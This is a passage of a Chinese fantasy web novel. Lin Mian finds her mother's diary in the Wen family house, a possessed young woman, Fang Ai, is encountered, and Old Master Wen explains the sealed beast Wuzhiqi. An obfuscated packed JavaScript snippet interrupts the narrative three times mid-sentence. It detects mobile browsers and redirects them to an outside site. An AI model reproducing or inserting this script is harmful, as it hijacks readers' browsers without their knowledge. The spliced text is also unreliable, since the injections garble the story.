林眠刚想问什么事,又被文忱的“吃点东西”打断了。她下意识的伸出手,摸了摸肚子,又看向里面睡觉的瞿木,摇了摇头。 “晚点儿再吃吧。” 文忱被她这个模样逗笑了,明明很想吃,但还挺照顾瞿木的。 “那好吧,那就晚点儿再吃。”文忱着重地说了“晚”这个字。说完,他也就离开了,还要去公司处理事情。 林眠目送文忱离开,脸上都是遗憾之意,她感觉好吃的都随着文忱的离开而离开了,也不知道要晚多久才能吃饭。 她饿了。 她只能接着嗑瓜子。 大约过了半小时,就有一个穿着黄色衣服的外卖员,提着东西在门口按了按门铃。他看到有个姑娘在门槛上坐着,连忙喊:“林小姐是吗?” 林眠愣愣起身,走过去打开门,“找我?” “您的外卖。”外卖员将外卖递给林眠后,就离开了。 林眠看着自己的外卖,上面还有张字条,她看了一下,是文忱点的,并说明给自己的。不知道怎么的,她心里就开心了一些。 提着外卖走到屋里时,瞿木刚好醒了。 “你点外卖了?”瞿木一睁开眼,就看到林眠手上的外卖。 “文叔点的。”林眠快速回答,并把外卖拿到旁边的餐桌处,动手打开。 瞿木凑过来,看了眼菜色,一看就是高级餐厅点的。 林眠给瞿木递了双筷子,轻声说:“要问问秦大师吃不吃吗?” 她分不清秦宁这是打坐打的太入迷了,还是单纯地坐着睡着了。 “他这是在入定,不能打扰!不管他,这么大个人了,饿了自己会吃。”瞿木拿起筷子,一屁股坐下,就准备开始吃饭。 他就是被饿醒的! 林眠看着瞿木大快朵颐,又看向不远处的秦宁,总有一种在偷吃的感觉。但她也很饿,面前的菜色香味俱全,没一下,她的魂就被菜勾引走了。 等她和瞿木吃饱后,两个人都将身体后倾,倚靠在椅子上,仰着头看着天花板,幸福感油然而生。 “没什么比吃饱更幸福了。”林眠说道。 “嗯。”瞿木回应,他以前可从来不觉得吃饱幸福,毕竟他根本不用担心吃饱的问题。但这些日子下来,吃饱也确实很幸福。 秦宁起来的时候,就看到桌上一片狼藉,以及瘫着的两个人。 “我给你点一份?”瞿木看到秦宁过来了,但桌上的菜已经被他和林眠消耗光了,便问秦宁。 “不用。”秦宁高冷地拒绝了。 林眠坐正了身体,问:“秦大师,你刚刚是在打坐吗?” “嗯,算不上打坐,只是静下心来,捋一捋事情。”秦宁回答后,就走到门口处,看了看。 文忱说的这些,都只是关于他们所认识菌丝和银木,也算是把之前的一些结打开了。而关于无支祁的事,他却没有说。 吃过午饭后,瞿木和林眠收了桌子,两人大眼对小眼了一会,就觉得无聊了。两人一拍即合,就朝着二楼走上去,探索一下这栋楼。 二楼房间居多,且门都没锁。 “这里就是和文家老宅不一样啊,老宅那里房间全都锁住了,还设了一些陷阱。”瞿木边看边说。 林眠没去过老宅,听着瞿木说,就能想到那个氛围。她推开自己左手边的房门,脑袋探进去,看了看。 这间房看起来很久没人居住了,桌子上落了一层薄薄的灰。但曾经肯定有人居住在这里,想到这儿,林眠想起文忱的话,心中便有了几分猜测。 她走进屋内,走到窗边,打开窗帘让外面的阳光照射进来,阳光霎时铺满整间屋子,驱散屋中霉味。 旁边有张桌子,桌子上有个相框。 林眠拿起相框,擦了擦后才看清相框里面的照片,是一对年轻男女。照片里的女生和自己长的有8分相似。 “林眠,你在干嘛?”瞿木发现林眠没跟上自己,便回头来找,发现这间房房门打开着,便走进来,发现林眠拿着个相框在看。 林眠回过头,看着瞿木。 “相框?里面是谁啊。”瞿木这个角度看不到相框里的照片,边走过来边问。 林眠抿着唇,没出声。瞿木走过来,伸出脑袋一看,就猜到了是谁了,他沉默了几秒,才尴尬地开口:“哈哈哈,长得挺好看的。” “嗯。”林眠点点头,她看向瞿木,“你好像从来没有夸过我好看。” 瞿木一怔,没有吗? “你也好看,就是瘦了点,你这光吃不胖的,多少人羡慕啊。”瞿木立马对着林眠夸了起来。 林眠朝瞿木笑笑,将相册放下,仰起头看了看房间。 房间里很简洁,只有一面巨大的书架,摆满了书籍,一眼看去,密密麻麻。 瞿木不是爱看书的人,看到一整面墙都是书,他就头疼。在他的心中,林眠也是个不爱看书的,他刚准备说点什么,就看到林眠走上去,对着书架上的书认真地一本本扫视。 “你要看啊?”瞿木问。 林眠点点头,“我想看看。” 她听完文忱的话,对自己的父亲、母亲产生了好奇,想知道他们为什么会离开文家,之后又生下自己。 当然,这些书中可能也找不大答案。 “嗯。”瞿木对这个回答也不感到意料之外,毕竟这里是林眠亲生父母的卧房,也许世界上真的有血缘之亲吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027112|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他为了不打扰林眠,就说:“那我先下去,秦宁在附近转悠,我找他去。” “嗯嗯。”林眠点头答应。 瞿木一走,卧室内就变得十分安静。 林眠慢慢地从每一本书的书名看过去,从低到高。这里的书至少有上百本,光是一本本的看书名,也要看好久。 她实际上也不知道自己在看什么,只是下意识的觉得,这里应该会有自己想要看到的东西。 这种感觉越发强烈。 林眠深呼吸一口气,经历了这么多事,有些时候,她也分不清是自己的想法还是体内菌丝的想法。因为有些情绪和想法对她来说,太陌生、太突如其来了。 正如现在。 她把书架从头到尾,从上到下都翻了一遍,都是一些普通书籍,没什么异样。 林眠有些累的坐在了地上,她在找什么?为什么进入这个房间后,她会想着找东西? 这不太对劲,林眠起身,打量着周围,又去床头柜、书桌处都翻了一遍,找到了一张符咒。 她拿到符咒的时候,这张符咒就从她的手中飞走,从而落在书架最底部处,然后化成灰烬。 林眠走到书架旁,半蹲下身,再伏低身子,看了看书架底下有什么。里面有本书,林眠伸出手去掏,够了够,才将这本书从书架底下拿出来。 她坐起身,吹了吹书上的灰,才看清楚上面的字。 “日记。”林眠念出声来,谁的日记?她怀着疑惑打开第一页。 【1995年10月15日 今天我第一次来到了传说中的文家,并在这住了下来。这一次来文家,我很确定,这是我自己的想法。 这一次,一定要把体内的菌丝清除。 林语枫】 第一页内容很简短。 林眠眨眨眼,这是…妈妈的日记本。 只是停顿了几秒,林眠还是翻页,继续读了下去。 她读到一半的时候,外面突然传来瞿木的声音。 “林眠,快下来,有大事!”瞿木在下面朝着上面喊。 林眠从日记中抬起头,走到窗边,看到瞿木正在朝自己挥手。 “快下来,刚刚我和秦宁发现了不得了的事。”瞿木说。 林眠见状,也只好先把日记放下,连忙走到楼下去。 见到瞿木的时候,她连忙问:“什么事?” “你猜我和秦宁刚刚看到了谁?”瞿木神秘兮兮地拉着林眠往外走。 林眠一脸懵,脑海里闪过很多人的脸,并猜测说:“况衍君?” “看到他我肯定立马把他押过来。”瞿木听到“况衍君”三个字就不爽,“等下你就知道了。” 瞿木带着林眠往前走,就看到了秦宁坐在一棵大树上,正背对着他们。 他们来到树下,瞿木敲了敲树,就准备给林眠指在哪儿,谁知他一侧头,就发现林眠正在爬树。 并且,三除两下就爬到树上和秦宁一起了。 不是,那他怎么办啊? 林眠低下头,看着树下的瞿木,比了个手势,示意他快点爬上来。 瞿木顿时哑口无言,他…没爬过树啊。 69. 方艾 林眠在树上坐好,并鼓励瞿木爬上来的时候,也不忘顺着秦宁的视线看去。 前面有不少摆放在湖边的长椅,而长椅处坐着一个长发女生,直勾勾的,一动不动。 “她这么坐了有一小时了。”秦宁突然开口,“她不是修道之人,普通人很难保持一个姿势不动太久。” 林眠看过去,她只能看到背影,并猜不出来这人是谁。 “她是谁?”林眠问。 秦宁侧过头看了眼林眠,又低下头看向正在艰辛爬树的瞿木,说:“我们在云泉酒店遇到的那对情侣,也就是住在407房的。” “哦。”林眠这才想起这个女生是谁。 “她怎么了?”林眠问,这个女生当时和一个男生在一起,两个人在407发生了诡异的事情,但他们两人都安全离开云泉酒店了,应该不会有事。 秦宁没说话,只是抬头示意,让林眠接着看。 那个女生突然抽搐了起来,手臂关节处向后接近360度扭曲,看起来就像是手臂被人折断了一样。 而她的头一口咬在自己的手臂上,鲜血淋漓。 “啊,和上次一样。”林眠突然开口,她上次在云泉酒店,利用菌丝进407查看,看到的人就是这么扭曲着的。 秦宁是第一次看到这样的场景,当时他猜测劳老太是骨妖,也是单凭记载猜测的。 “呼。”瞿木废了九牛二虎之力,终于爬上树了。 好在这棵树有很多低矮的分叉,他才有着力点爬上来。 “怎么样了?”瞿木看去,看到那条手臂鲜血淋漓,他忍不住打了个冷颤,收回视线对林眠说:“她刚刚是咬腿,现在咬手了。” “这里人这么少吗?”林眠问,在树上待了也有半小时了,没见到有人来过这边。 “毕竟是文家,住的高档点也是正常。”瞿木理所当然地回答。 秦宁看那个女生突然停止动作,并且站起身来,往别处走去。他觉得这实在不对劲,还是得上去看看,便说:“我们过去看看。” 说着,他便一个跃身,从树上下去。 “好。”林眠也连忙跟着下树。 瞿木:…… “不是,我刚上来,你们就下去,什么意思啊?”瞿木说完这句话的时候,秦宁和林眠已经下了树了。 “你快下来呀。”林眠仰起头,对瞿木说。 秦宁压根没管瞿木,脚步极快地朝着湖边的女生跑去。 林眠也想过去,但看到还在艰苦下树的瞿木,只好先等着他,并教他说:“你不要害怕,就抓着上面的树枝,脚踩住旁边那个。” “你腿那么长,肯定够得到。” 瞿木听着林眠的话,就算是硬着头皮也要爬下去。 好在有了刚刚爬树的经验,下树显然要轻松一下,只花了几分钟,他就下来了。 “真厉害。”林眠夸奖说,“我们快去吧。” 瞿木被林眠夸得都有些不好意思了,但心里明显是开心的,正如他现在嘴角都压不住的往上扬。 他跟着林眠朝着湖边的方向走去,秦宁已经把人拦下来了。 “你好,我是一名道士,我姓秦。”秦宁先是自我介绍说。 女孩明显脸上带着不耐烦,往后退了几步,皱着眉说:“我不算命,也不信这一些。” “我不是来算命的,你最近是不是觉得身上不太对劲?”秦宁尝试着问,刚刚他过来的时候,就发现女孩的腿和手臂都没有伤口,更加没有血,仿佛他刚刚在树上看到的一切都是假的。 女孩更加不耐烦了,加快脚步往前走,想甩开这个奇怪的男人。 “我是说真的,你身上有不干净的东西。”秦宁见女孩不搭理自己,便直接说。 林眠和瞿木来到的时候,就听到秦宁的这句话。 瞿木当场扶额,就秦宁这个话术,但凡脑子正常一点的,都会觉得他是个骗子! 女孩见他们人多了,顿时更加警惕了,并拿着手机说:“你们再这样,我就报警了。” “这年头,江湖骗子都成群结队的吗?”女孩嫌弃地说。 瞿木一听这话就不乐意了,对她说:“我们哪里像江湖骗子了?就算他是,我看着像是吗?” “而且,你也是住在这里的人,不知道这里管得严啊?我们能进来,就证明我们是这个小区的人。就是看你不太对劲,才过来关心关心你。” 林眠在旁边点头,对她说:“你最近真的没有觉得哪里不对劲吗?” “例如身上疼?精神不振之类的?”林眠给她说。 女孩看着林眠,或者是因为同性,她勉为其难地点了点头。 “是不是离开云县后开始的?”林眠再问。 “你怎么知道?”女孩吃惊地看着他们,不过……这三个人有些眼熟?她想了想,惊讶地说:“你们是……” “当时在前台大厅处的那几个人!” 她当时和男朋友去了云县,离开酒店的时候看到了他们几个人,因为都是年轻人就多看了几眼,刚刚一时之间没想起来。 “是的。”林眠见她想起来了,便趁热打铁,说:“我们当时以为你没事,没想到今天看到你,状态还是和酒店那会儿一样,就想过来问问你。” 瞿木在旁边听着,忍不住对秦宁道:“你看看,好好学学。” 女孩见此,也放下戒心,对他们说:“我叫方艾。” “我们去那边的凉亭坐着说吧。”方艾指了指不远处的凉亭,对他们说。 她心里其实也很不安,自从离开云泉酒店后,她这大半个月以来,感觉身上越来越疼,疼的面积也逐渐扩大。 到了凉亭,她看着坐在自己旁边的三个人,便和他们说起自己的情况。 “刚开始,疼痛还可以忍耐,我以为我是过度运动了,导致的肌肉酸痛,可是随着疼痛加剧,我就去医院做了检查,医生说没有问题,说我可能是精神压力比较大。” 方艾说着,捋了一下被风吹起的碎发,脸色发白,看去有些柔弱可怜。 “我这是怎么了?”她自问般地说道。 瞿木在旁边听了,颇有感同身受,这就像他最开始被菌丝寄生了一样,第一时间也是怀疑自己有病,还去挂了精神病科。 “这不是你的问题。”瞿木说道,“你这是遇到一些……”说到这儿,瞿木看向一旁的秦宁,收敛了说:“不可言说的东西。” 方艾抬起眼,看向瞿木,随后反应过来瞿木的话,她满脸都是惊恐,下一秒就直接哭了起来,呜咽出声:“那怎么办?我还有救吗?” “方姑娘不必担心,可否让我看看?”秦宁问道。 方艾脸上闪过一丝迷茫,问:“看什么?” 秦宁走到方艾面前,点头说:“打扰了。” 话毕,他将左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037073|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手大拇指摁在方艾的眉心处,并且念起咒语来。 方艾不自觉仰起头,看着秦宁。 林眠和瞿木都是第一次见这场面,两个人好奇地看着。 “这是驱妖吗?”瞿木问。 林眠点头,“应该是。” 大概几分钟后,秦宁收回手,方艾的眉心处有个红印。 “它走了。”秦宁说道。刚刚他念咒,能感觉到方艾身上确实是有东西的,但看着不太强,他只是念了一个决,对方就离开了。 方艾捂着额头处,沉默了一会才惊喜地说:“我身上不疼了。” “但这只是缓兵之计,它…怕是还会回来。”秦宁说罢,思考了会,就画了几张符咒递给方艾。 “将符咒贴在床头,一次一张。” 方艾一听到还会回来,接过符咒的手都在颤抖,她害怕地问:“那我该怎么办?” “这里只有七张符咒,七天之后还是这里见。”秦宁没有回答方艾的问题,说道。 方艾也只能答应,点点头,说:“谢谢你。” 瞿木看着他们,突然想到一件事,便问:“你男朋友呢?他没事吗?” 那天她男朋友还说了腿疼。 方艾刚起身,听到瞿木问她,再看到他们都看着自己,便低下头,张了张嘴说:“他…死了。” “死了?”瞿木和林眠异口同声。 “嗯。”方艾不愿意多说,只是垂着头,“他叫张峭,你们…可以去网上查查看。” “我先回去了,太谢谢你们了。”方艾说完,就小跑着离开了。 林眠看着她离开的匆匆背影,说:“她很难过吧。” “嗯,正是热恋期的小情侣,如果是我……”瞿木想了想,又看了眼林眠,连忙摇摇头,自己死了林眠都不会死。 秦宁看着方艾远去的背影,突然开口说:“张峭按道理不应该会死。” “骨妖要的是人,吃掉一个人后,会伪装成对方的身份活在人世里。但为什么要杀掉张峭?” 林眠没想到这一点,她思考了一下说:“它更想要女性的身体?” 毕竟劳老太也是女性,现在又是方艾。 秦宁想了一下,觉得不太对。骨妖不想要张峭的身体,那也没必要大费周章在张峭身上。 瞿木看着他们,说:“这都傍晚了,该回去了。” “今晚…还有不少事。” 比起方艾的事,现在更重要的是去找文忱,听他说之后的事。 文家把他们留在这儿,必然是有什么事,只是不知道为什么要等到现在。 “嗯。”秦宁想了想,还是得去查查张峭的死因。 大家伙决定后,就一起往文家走去。 回到文家的时候,文忱已经在了。他见他们都回来了,便说:“回来的刚好,老爷子刚好也到了。” “跟我来。” 文忱带着他们往楼上走。 二楼最尾处有一扇门,当时林眠和瞿木上去的时候,别的房间都看了,就唯独这一扇,原因无他,这间是唯一上锁的。 文忱推开门,让他们进去。 林眠走在最前面,一进去就看到这一整面墙的书架,而高约五米,又因为是黑色书架,给人一种压迫感。 文老爷子坐在书桌处,正戴着眼镜看书,看他们来了才将书放下,摘下眼睛擦了擦,对他们说:“都坐下吧。” 70. 风平浪静 大家伙按照座位,依序坐好,林眠坐在中间,和文老爷子面对面。 文忱则在旁边泡茶,面目平静。 林眠被文老爷子直勾勾地盯着,浑身不是很自在,她目光飘忽,极力地想要躲避对方的目光。 良久,文老爷子才开口:“你应该喊我一声爷爷。” 林眠眨眨眼,说:“应该喊外公,我跟妈妈姓的。” 文老爷子不屑地冷哼一声,他当初也不知道还有个孩子啊? 瞿木在旁边疯狂忍笑,没想到林眠还挺会怼人的。 文老爷子在他们身上扫视一圈,才开始说:“我们文家确实不从事这一行很久了,从我这一辈,基本上没有再去接触。但我的儿子,文恪对这一方面很感兴趣,他自己找遍家中的相关书籍,并学习。” “我也没阻拦,而事情的转变在于1994年,那一年他去了青州,在那里结识了林家的人,也就是你妈妈林语枫。” 文老爷子抬起松垮的眼皮,看着林眠说:“她是一个十分不详的女人,也正是因为她,我们文家才陷入这样的地步。” 林眠看着文老爷子,没出声,心里却不这样认为。她看过妈妈的日记,上面记载的都是妈妈如何配合文家对菌丝进行研究。 “何出此言?”秦宁觉得这和今天上午文忱说的不太一样。 文老爷子看向秦宁,说:“你们秦家这些年也有在追踪无支祁,应该也知道,无支祁最近活动很频繁。” 还不等秦宁回答,文老爷子接着说:“但这些活动虽然频繁,但并不影响人类。它只是在收集邪性和妖物。” “是的。”瞿木率先回答,这些日子以来,确实没见无支祁做过什么伤天害理的事情,顶多就是收集妖物,还有和林眠体内的菌丝是宿敌。 最危险的就是林眠了。 文老爷子看向瞿木,笑道:“但无支祁做这些的目的仅仅是为了报复菌丝吗?” “那不然是什么?”瞿木脑子里快速闪过一些念头,“毁灭世界啊?” “首先,要了解无支祁是什么。”文老爷子说道。 旁边的文忱从一旁的书架上拿下一本书,翻开到某一页,放到桌上给他们看。而文老爷子接着说: “文家最开始接触到无支祁的时候,是700年前,也就是在海边捡到大量银木的时候。” “那些银木,你们也见到了。” 瞿木听到这个,皱了一下眉,说:“你们说的这些乱七八糟的,还有,银木既然也是妖物,和无支祁又是什么关系?” 他听得脑袋都大了,特别是说到银木,他就想到自己要成为木头的事。 “这个三言两语很难解释清楚。”文忱说道。 林眠和秦宁都在看这本书上的记载。 这本书是文家祖先写的,详细地记录了捡到银木之后的事情,以及……被困在海底的巨兽—— 无支祁。 而那片海域时常海水倒灌,导致附近民不聊生。 文家祖先人曾到过那片海域附近,了解到民生之哀,并觉得这海水倒灌的蹊跷,便留了下来开始研究。 一日,去海边的时候发现了大量银木,在一日一日的调查中,了解到流传在附近村民口中的无支祁。 但如何解决海底的问题,文家先人也束手无策,直到一天遇到了一名女子,女子指点一二,文家先人才得以加强海底封印,保佑一方百姓安宁。 而书里也详细的记载了如何加强封印的过程,这其中最重要的就是银木。 “这件事我在自家藏书阁中看到过,但只记载了是文家去加强的封印,且这么多年过去了,毫无松动。”秦宁说道。 文家老爷子笑笑,“海面上的风平浪静不代表海底没有暗流。” “这十年来,它已经在涌动了。” 秦宁垂下眼,说:“只是,我这还有一事不解。” “什么?”文老爷子端起茶杯,轻轻抿了一口。 秦宁说:“我们在云泉酒店发现了一枚银木戒指,上面刻了文字,上次和您说的那尊雕塑,里面的符咒还有标记,都是文家的。” “据我们所了解,这尊雕塑是供奉无支祁的,且能和无支祁互通灵识。文家…为什么做出这样的雕塑。” 秦宁把自己的问题说完,他当时就怀疑,文家是和无支祁站在一起的,但经过今天的事,显然不是。 文老爷子放下茶杯,沉默了几秒才说:“那尊雕塑我不太清楚,但那个标记和符咒,确实是我文家的。” “只可惜,没有时间考据,如果能知道时间,那么就很好推测出来了。”文老爷子说道。 秦宁见对方解释后,也没接着问。那么看来是文家内部有人叛变了。 “可是,银木不是拿来加强封印了吗?那瞿木见到的银木是什么?”林眠见他们都不说话了,才问出自己的疑惑。 “此银木非彼银木也。”文老爷子摇摇头,说:“银木是空心的,封印用的银木里面都是长满了菌丝,这样才有效果。” “所以,”文老爷子伸出手抓住瞿木放在桌上的手,说:“从一开始,就选定了你。你的体内有菌丝、有银木,是最合适不过的。” 瞿木的手被紧紧抓着,而在听了文老爷子的话后,瞿木用力地抽出自己的手,怒道:“什么意思?” “意思是让你当牺牲品。”文忱在旁边轻声细语地补充道。 瞿木怒瞪了一眼文忱,“屁,我不当。” “海水倒灌就倒灌,现在的科技手段还治不了了?” “它有本事把整个中国淹了。” 说完,瞿木气鼓鼓地撇开头,不去看文家的人。 林眠还愣愣的,在消化着他们刚刚说的话,但看到瞿木震怒之后,她忍不住问:“只能这样吗?” “目前只有这个办法。”文忱回答道,并说:“至于海水倒灌,范围有多大,我们也不清楚,且这一次无支祁从海底出来,必然会变本加厉。而…” 文忱看着林眠,“他的首要目标是你体内的菌丝,还有瞿木。” “现如今,无支祁已经在人世活跃十年了,怕是封印也没有用了。但菌丝和银木依旧是克制它的办法。同时,这也是我们知道的唯一办法。” 瞿木听着却很不爽,他质问道:“从一开始,我和林眠的相遇就是安排好的吗?” 关于这一点,文忱却摇摇头,解释说:“我们是人,没办法干涉人的因果。” “那是谁做的?”瞿木问道。 林眠也在旁边说:“这一切都太巧合了。” 自从她和瞿木认识之后,事情都十分的巧合。 文忱点了点茶杯,发出清脆的声音,他说:“无论过程怎么样,但结果已经摆在这儿了。” “好了,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043976|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文老爷子敲了敲茶桌,说:“别吓他们了。” “无支祁的能力到底是什么样,我们也不清楚。现在去海底封印也恐怕来不及了,我们也只会封印之法,即使想让你献祭,也没路子。” 文老爷子瞥了一眼文忱,虽然是有记载这个作用,但具体怎么做,没人知道了。 瞿木这么一听,心里放心多了,他可不想被架起来! “接下来,我会去找你们秦家、柳家的人商量一下,这件事发展到现在,已经不是单单靠我们就可以解决的了。”文老爷子接着说,“找你们,也只是希望你们这些日子,注意一些。” “毕竟无支祁有很多妖物追随者,且它自己也可能在行动。为了能从海底出来,它第一个要找的麻烦就是菌丝。” 文老爷子看着林眠,说:“总之,多加小心,有什么问题找阿忱。” 林眠看了眼一旁的文忱,文忱朝她笑笑。 文老爷子交代完了,也就起身离开了。 文忱对他们说:“可以先在这儿住上一段时间,这里是我哥的藏书阁,里面也有不少著作,你们也可以看看。” “我等会会安排人来打扫卫生。” 说完,文忱也离开了。 他们离开后,瞿木紧绷着的后背才舒缓下来,他趴在桌上,嘟囔着说:“这都是什么事啊?” “我现在是小说里面的女主吗?怎么什么倒霉事都是我?” 林眠和秦宁已经起身,在后面那个巨大的书架旁,看了看。 “林眠,你又不爱看书,你跟着秦宁凑什么热闹?”瞿木不满地说,就不能来关心自己一下吗? 林眠回过头,看向瞿木,说:“说不定会有意外收获呢。” “什么意外收获?” “嗯…日记?”林眠说道,她在房间里找到了妈妈的日记,这里会出现爸爸的日记吗? 瞿木抽了抽嘴角,说:“正经人谁写日记啊?” 他说完,又想起自己在林眠家找到的那本日记,顿时就没接着说话了。这本日记他还真不知道怎么交给林眠。 而且,林眠怎么好端端的要找日记了?她…明明都没见过那本林神婆的日记啊。 林眠扁扁嘴,粗略看了一下书架上摆放的书籍,就走到瞿木身旁。 瞿木见他过来了,便坐直了身体,心里想着林眠终于过来安慰自己了,脸上难免有些欣慰,谁知下一秒,他就听到林眠说: “我们出去吃饭吧,我饿了。” 瞿木:……都什么时候了,还吃得下饭?万一文家和什么秦家、柳家商量不出解决方案,那他不就要被这群老古董拿去献祭了? 但妥协只有0次和无数次。 瞿木连抱怨的话都说不出来,张口就是:“走!” 出发之前,林眠还不忘问秦宁:“秦大师,你要和我们一起吗?” “不了。”秦宁拒绝的很干脆,他慢身心都在这些书籍上面,这里很多都是他从未读到过的。 “那要给你带一份吗?”林眠接着问。 “好,谢谢。”秦宁跟林眠点了下头。 林眠笑笑,回答:“好,那我们走了。” 瞿木看着他们,不免有些醋意大发,嘟囔了一句:“你怎么对秦宁比对我还好?” “嗯?”林眠听到了这句话,但没明白瞿木的意思,问他:“我对你不好吗?” 71. 控制 瞿木没回答林眠的问题,一直到走到了一楼大厅处,他才勉强地开口说:“好不好是要对比的。” “对比?”林眠想了想,“你的意思是你和秦大师吗?” 瞿木抿着唇,避开这个问题说:“等会吃什么?” “天气变冷了,我想吃烤肉。”林眠听到吃的,立马回答。 “那快走吧。”瞿木说着,拿出手机搜索了一下这附近有没有烤肉店。 刚好这附近就有一家,瞿木带着林眠找到这家店铺,找到位置坐了下来。 林眠有肉吃就很开心,特别是烤肉的时候,开心地哼着不知名的调调。 “你就这么喜欢吃肉?”瞿木问她,每次和林眠吃饭,她都会点很多肉。而且开心得不行,瞿木感觉林眠最开心的时候,就是吃肉的时候。 “嗯嗯。”林眠点头,解释说:“在乡下,很难吃到肉。” 瞿木喝了口水,跟林眠闲聊式地问她:“乡下不是会养鸡鸭、猪牛的么?怎么还会没肉?” 他去盖山村的时候,也见到了不少鸡鸭之类的。 “奶奶不养这一些。”林眠将烤好的肉夹出来,然后平分,一半给自己,一半给瞿木。 “哈?”瞿木有些不可置信,乡下不养鸡鸭,那吃什么啊? “那买肉吃?”瞿木接着问,林奶奶应该也不缺钱,毕竟房子建的那么大,而且还是做神婆的,怎么也有收入。 林眠刚把用生菜卷着的肉塞进口里,等要咀嚼咽下去后,她才回答瞿木的问题:“不买肉,奶奶不吃肉。” 瞿木愣住了,不吃肉?素食主义者? “小孩子不能不吃肉,影响身体发育。”瞿木说道。 “我有吃,我都是去祝奶奶家蹭吃的,祝奶奶家天天有肉吃。”林眠说着,已经又包好一个肉卷,往嘴里塞。 瞿木语塞,又感到林眠这小时候的生活过得还真是艰辛,不过她这吃烤肉的方式也未免太娴熟了些,都会用生菜裹起来。 “你以前经常吃烤肉?”瞿木问。 林眠摇摇头,“这是第一次。” “那你这生菜裹得还真熟手。”瞿木不喜欢裹生菜,他都是直接吃。 说到这个,林眠笑着说:“我在网上看了很多吃播视频,看视频学的。” 瞿木也被她逗笑了,这顿烤肉吃的都活泼了一些。 吃着吃着,瞿木就专心给林眠烤肉了,烤着烤着,看到旁边垒起来的碟子,他都忍不住说:“你都可以去参加大胃王比赛了。” “大胃王?”林眠有些惊喜地说,“我真的可以吗?” 瞿木没吭声,他感觉自己说可以,林眠下一秒就要去找个大胃王大赛参加了。而且,他总觉得林眠看着那么瘦,吃这么多似乎不太健康。 等到吃的差不多的时候,林眠就放下筷子,说:“我吃饱了。” “嗯。”瞿木揉了揉手臂,他都快烤累了。 两人坐着休息了会。 “我想去洗个手。”林眠感觉差不多了,可以出去逛一逛,再给秦宁带点吃的就可以了。 瞿木看了看,指向一边说:“那边有卫生间。” “好。”林眠起身去卫生间处,“你等我一下。” 她去洗了个手,出来的时候看到门口处有一个熟悉的面孔,是方艾,她也是来吃烤肉的吗? 林眠本想上去打个招呼,但方艾的行为有些奇怪。 方艾看着像是在和别人说话的模样,可是她面前都没有人啊。 林眠有些摸不着头脑,就在她准备去找瞿木的时候,方艾突然喊住了她。 “林眠!” “你也在这儿啊。”方艾热情地走过来,拉起林眠的手,脸上温柔的笑着。 林眠有些不太适应,上一次和方艾见面,她…不是这么热情的人。但出于礼貌,她还是点点头,说:“我来吃烤肉,你也是吗?” 她问完,又觉得自己问的好像是废话,都在店里面了,肯定也是来吃烤肉的。 “我吃饱了。”方艾笑着说,随后欲言又止道:“林眠,你…能不能……” “什么?”林眠看她似乎有烦恼的样子,想到上次的事,问:“符咒没有用吗?” “不是。”方艾咬着下唇,看了看周围,附在林眠耳朵处轻声说:“我见到了张峭,他……刚刚就在这儿。” 林眠顺着方艾手指着的方向看去,那里空空荡荡,根本没有张峭。 “你看不见吗?”方艾语气有点失落,“我以为他真的回来了,之前的事都是一场梦,可是…他还是没有回来。” 方艾说着就哭了。 林眠看着她哭,有些手足无措。 “我刚刚真的看到他了,你能和我一起去找找他吗?他刚刚朝门口走去了。”方艾哭着说。 周围的人纷纷看过来。 林眠压根没看到什么张峭,但方艾哭的太伤心了,且还拉着自己的手往外走,她不知道怎么拒绝,就被拉着出去了。 来到了烤肉店外,是一条大马路。 这边由于靠近别墅区,街上的车辆并不多。 “就在那边。”方艾惊喜地说,且不由分说就拉着林眠冲过马路,往那边跑。 林眠张望了几下,恍惚之间,她好像也真的看到了那个男生。 烤肉店里。 瞿木等了许久,都没见林眠回来,就买了单,去洗手间附近找她,但没找到人,问了服务员才知道林眠几分钟前就和一个人离开烤肉店了。 “谁啊?”瞿木忍不住问。 “这个,是个女生,长发飘飘。”服务员回想着说,“还有就是……” “就是什么?”瞿木第一反应就是不对劲,林眠在这里不认识几个人,怎么会有个女生把她带走。 服务员眼神飘忽,咬着下唇,想了想还是说了出来,“那个女生好像精神不太正常…一直自言自语。” “精神不正常?”瞿木一听,连忙往外出去,林眠该不会是被精神病缠上了吧? 他来到马路上,四处张望,这边对面还有一片未开发区域,一眼看去黑乎乎一片,但他视力好,隐约看到远处似乎有个人影。 这也顾不得了,他直接冲过马路,朝那片未开发的区域跑去。 跑近的时候,他也看清楚了,那个人确实林眠。 只见林眠一直往前走,而前面是个沙子堆成的土堆,至少也有五六米高,看去就像是一个月牙形的沙子堆,而沙子下面则一堆铁楸铲,这要是掉下去,砸到铁楸铲,人也不用活了。 瞿木身体比脑子反映得更快。 